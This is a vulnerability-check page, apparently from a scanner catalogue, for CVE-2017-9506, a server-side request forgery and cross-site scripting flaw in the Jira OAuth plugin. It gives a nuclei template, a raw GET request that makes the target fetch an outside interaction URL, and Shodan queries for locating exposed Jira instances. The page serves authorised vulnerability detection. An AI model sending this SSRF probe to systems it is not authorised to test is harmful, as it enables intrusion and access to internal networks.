Atlassian Jira IconURIServlet - Cross-Site Scripting/Server-Side Request Forgery

mediumseverity

6.1CVSS score

71.6%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

The Atlassian Jira IconUriServlet of the OAuth Plugin from version 1.3.0 before version 1.9.12 and from version 2.0.0 before version 2.0.4 contains a cross-site scripting vulnerability which allows remote attackers to access the content of internal network resources and/or perform an attack via Server Side Request Forgery.

Impact

Successful exploitation of these vulnerabilities could lead to unauthorized access, data theft, and potential server-side attacks.

Fix

Apply the latest security patches provided by Atlassian to mitigate these vulnerabilities.

How to confirm it

Send: GET /plugins/servlet/oauth/users/icon-uri?consumerUri=http://{{interactsh-url}}
Positive when: contains in interactsh_protocol "http"

Run it with nuclei: nuclei -id CVE-2017-9506 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2017-9506

info:
  name: Atlassian Jira IconURIServlet - Cross-Site Scripting/Server-Side Request Forgery
  author: pdteam
  severity: medium
  description: The Atlassian Jira IconUriServlet of the OAuth Plugin from version 1.3.0 before version 1.9.12 and from version 2.0.0 before version 2.0.4 contains a cross-site scripting vulnerability which allows remote attackers to access the content of internal network resources and/or perform an attack via Server Side Request Forgery.
  impact: |
    Successful exploitation of these vulnerabilities could lead to unauthorized access, data theft, and potential server-side attacks.
  remediation: |
    Apply the latest security patches provided by Atlassian to mitigate these vulnerabilities.
  reference:
    - http://dontpanic.42.nl/2017/12/there-is-proxy-in-your-atlassian.html
    - https://ecosystem.atlassian.net/browse/OAUTH-344
    - https://medium.com/bugbountywriteup/piercing-the-veil-server-side-request-forgery-to-niprnet-access-171018bca2c3
    - https://nvd.nist.gov/vuln/detail/CVE-2017-9506
    - https://github.com/d4n-sec/d4n-sec.github.io
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-9506
    cwe-id: CWE-918
    epss-score: 0.71601
    epss-percentile: 0.99423
    cpe: cpe:2.3:a:atlassian:oauth:1.3.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: atlassian
    product: oauth
    shodan-query:
      - http.component:"Atlassian Jira"
      - http.component:"atlassian jira"
  tags: cve,cve2017,atlassian,jira,ssrf,oast,vkev,vuln

http:
  - raw:
      - |
        GET /plugins/servlet/oauth/users/icon-uri?consumerUri=http://{{interactsh-url}} HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

References

Use this check only on systems you are authorised to test. Where the data comes from